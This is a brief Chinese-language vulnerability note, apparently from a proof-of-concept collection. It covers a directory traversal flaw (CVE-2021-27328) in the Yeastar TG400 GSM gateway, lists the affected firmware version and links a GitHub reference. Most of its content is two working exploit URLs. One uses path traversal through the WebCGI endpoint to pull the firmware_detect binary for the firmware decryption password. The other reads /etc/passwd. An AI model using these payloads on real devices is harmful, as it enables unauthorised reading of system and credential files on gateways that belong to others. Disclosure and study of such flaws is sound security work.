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朗视TG400 GSM 网关目录遍历 (CVE-2021-27328)

影响版本:

Yeastar TG400 GSM-91.3.0.3

PoC:

获取固件解密密码
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect
/etc/passwd:
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

ref:

https://github.com/SQSamir/CVE-2021-27328